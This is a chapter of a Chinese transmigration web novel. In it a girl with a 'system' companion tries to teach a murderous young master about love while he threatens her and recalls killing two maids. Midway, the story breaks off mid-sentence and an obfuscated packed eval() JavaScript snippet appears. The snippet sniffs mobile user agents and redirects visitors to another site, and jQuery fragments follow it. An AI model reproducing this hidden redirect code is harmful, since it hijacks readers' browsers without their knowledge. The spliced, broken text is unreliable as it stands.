18. 第 18 章

作品:《如何攻略病娇少年

    小鱼不知他在想些什么,只是见他认同自己的话,便也松了口气。


    心道,看来讲道理还是有用的。


    不过小鱼又想,讲道理是不是可以降低黑化值或者病娇值之类的?


    如此一想,小鱼心中难免雀跃,便与宋钰真道:“吃罢。”


    可少年并未吃,而是抬用有些奇怪的眼神看着她。


    小鱼莫名:“我脸上有东西吗?”


    少年摇头,垂头吃上两口道:“我更喜欢吃甜的,吃甜的会让我愉……快。”


    他的话音微微停顿,甚至结合上了刚刚小鱼所说的“道理。”


    可道理归道理,小鱼有自己的底线。


    她的底线就是……


    面不能做成甜的!!!!


    如果有一天她开始接受甜不拉几的面条则说明她的味觉完全消失了,已经到了能够接受吃屎的地步。


    010:“虽说人类有一句名言叫做‘话糙理不糙’,可宿主你想得也太糙了。”


    小鱼:“不准偷听我心里的吐槽!!”


    010没了声音。


    小鱼假装没听见宋钰真在说什么,继续埋头与碗中还剩下的半碗面战斗。


    就当宋钰真刚刚并未说话,而是放了个屁。


    少年却又重复道:“下次我要吃甜的。”


    小鱼抬头:“若是要吃甜的,那少爷只能让别人给你做了。”


    “我就要你做。”


    这两个人各有各的倔强,谁都不肯退让半步。


    小鱼问:“既然二少爷觉得我做的并不好吃,又为何要让我做?”


    这不给自己找罪受吗?


    阿珰眉眼压低,显然已经有些不耐烦了:“我如何想的与你有何干系?你若是再反驳我,我便杀了你。”


    小鱼:“……”


    她方才说了这么多,看来宋钰真并不明白她刚刚所说的话的含义。


    少女又道:“其实我有些不理解,二少爷为何日日都喊打喊杀,不觉得这个世界很美好吗?”


    鱼窥荷想起从小到大的许多经历,高兴的愉快的有,难过的悲伤的也有。


    想起爷爷的陪伴和父母的宠爱,想起了那些与自己关系要好的朋友们。


    虽然小时候也曾被欺负和孤立,可少女自小就有面对这些的力量和勇气,所以于她而言,这些不愉快的事都不值一提。


    这世界对她来说,始终是美好之物胜过不美好。


    阿珰看着她,懵懵懂懂轻声重复着她的话。


    “美……好?”


    少女点头,继续道:“这世上还有许多美食未曾吃过,许多美景未曾见过,还有爱你的或是你爱的人,虽然偶尔有挫折,可世界的底色不仍然是美好的吗?”


    眼前的少年显然是不赞成她的话的,脸色也愈发难看起来。


    小鱼回神,这才意识到自己的话说得不对。


    她所说的美好宋钰真此生都不曾体会过、经历过。


    既然从未有过,她又如何能要求宋钰真去理解这些,明白这些呢?


    宋钰真以后会成为万人之上的天子,却也因为他性狡狯,作恶多端,嫔妃、大臣们都畏他。


    要他明白,还要教会他什么是爱,什么是爱他之人和他爱之人。


    少年抬眸,果然露出不解的表情。


    他问道:“爱?爱为何物?”


    小鱼微微思索后道:“爱……爱就是珍惜。”


    她自己也不知道爱究竟是什么,究竟该如何去定义“爱”。


    可她自己都不知道该怎么解释,又如何去教宋钰真如何爱?


    少年悄然走近,冷冽的指尖轻轻拂过她的脸颊,问道:“我上哪儿去找珍惜我的人?”


    他似一缕飘荡于世间的幽魂,没有爱人没有至亲没有朋友。


    现在竟会有人与他谈珍惜,谈爱?


    少女有些畏惧地缩了缩脖子,却也小声而笃定回答:“会有的。”


    阿珰的视线落在她身上,眼前的少女颤抖着身体,像冬日巢穴中又冷又饿嗷嗷待哺的幼雀。


    “你总不会说,是你吧?”


    阿珰也不知她为何总能肆无忌惮说出这样的话。


    她看起来是那样傻,却又时常与他说一些冠冕堂皇的大道理,与他侃侃而谈,说着爱,说着美好,说着她口中所谓的天下世界。


    而他从未有过少女口中的感觉,无论是爱还是美好。


    不过他也曾见过“爱。”


    他曾见过柳清虞的指尖轻轻抚摸过赵怀修的脑袋,他读不懂柳清虞眼中的含义,却只觉得她的神色像是一片温柔的羽毛。


    那眼神与看他之时截然不同。


    年幼的阿珰曾懵懵懂懂知晓,这就是爱。


    他羡慕这种爱,亦痛恨这种爱,因为他没有这种东西,他从未体验过这种东西。


    他是活在黑暗处永远见不得光的蝼蚁。


    不过少年也习惯了,毕竟活在黑暗中清净啊,没人来打扰他。


    他想要拥有所谓“爱”的东西,不过是觉得无聊想给自己找点乐子,想要那轻飘飘的羽毛落在自己身上。


    于是他开始假装乖顺,顺柳清虞的意,与她扮演一些母慈子孝的及时节目,这对于少年而言,是一场游戏,他总以为,他自己演得还挺好的,总有一天能够得到柳清虞的“爱。”


    可他后来回忆,赵怀修未曾在柳清虞面前这样乖顺过,他


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17065591|194971||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    们二人之间所谓的“爱”是隐匿在血脉中的,而他永远也得不到这些。


    而他与那位旁人口中他需要称呼为“娘亲”的女子,血脉中隐匿的只有恨,从未有过爱。


    赵怀修厌恶他,是因为他是他,更是因为赵怀修觉得,少年夺走了母亲对他的爱。


    只有他知晓,那根本就不是爱。


    不过他这位哥哥带给他的恨,看他的神色,那副咬牙切齿的模样倒是恨得真切。


    这样浓烈的恨意,叫少年没来由的欢快。


    小鱼知晓自己说错话了,看着蠢蠢欲动的少年,她的双膝微微颤抖,竟不觉神色恍然跪于地上。


    少年蹲于她身边,冰冷的指尖来回反复勾勒着她脸颊的轮廓,眼中藏着些光亮,他道。


    “这个世界还真是美好,你若是心悦我,那可愿为我去死?”


    宋钰真的思想似乎非常浅,或者可以说作是单纯,他总是觉得,喜欢就应该是甘愿去死的。


    小鱼颤颤抬头,看着眼前少年无端露出的亲昵笑容,她心中明白,宋钰真是想要她死。


    少年回忆起了一些东西。


    约莫是个春日,柳清虞曾往他的院子里塞了两个丫头,他们生得丑陋,待他恭敬谦卑,不过那流连在他身上的目光却犹如磨刀霍霍,凝视着砧板上一块肥瘦相间的猪肉。


    像是终于满意他这副旁人称之为好看的皮囊,终是对视后满意一笑。


    他微微一笑,在这二人的目光中却转身吐了。


    少年眼眸猩红,恨不得将五脏六腑一并吐出来,地上的污秽之物叫这两个丫头生出了厌恶之情。


    真恶心啊。


    少年擦拭唇角的污浊,不住地想着。


    再往后,那两个丫头的血染红了整个屋子,也不能再用那样的眼神看他了。


    他想起了自己那位从未见过的母亲,他想起了父亲曾说过。


    “你像极了阿祂,不过这眉目之间,却比她略胜一筹。”


    小鱼哆嗦道:“二……二少爷可还要吃面?碗中的够不够?”


    小鱼选择了最为朴素的方式,那就是转移话题!


    其实她有些话想说,但奈何她觉得宋钰真现在的状况,如果她说出些与他相悖的话,小命难保。


    她承认自己是有点颜控,却不至于到不要名的程度。


    少年回神,那双有些空寂的眼眸落在她身上,微微一怔似在思索,下一刻便放下手,回到了自己的座位上。


    他确实觉得自己腹中扁平,空无一物,那吃点吧。


    “吃。”


    少年又乖乖坐回小凳上,小鱼对这一幕表示震惊,毕竟她没想到宋钰真会听她的,她只是死马当活马医而已。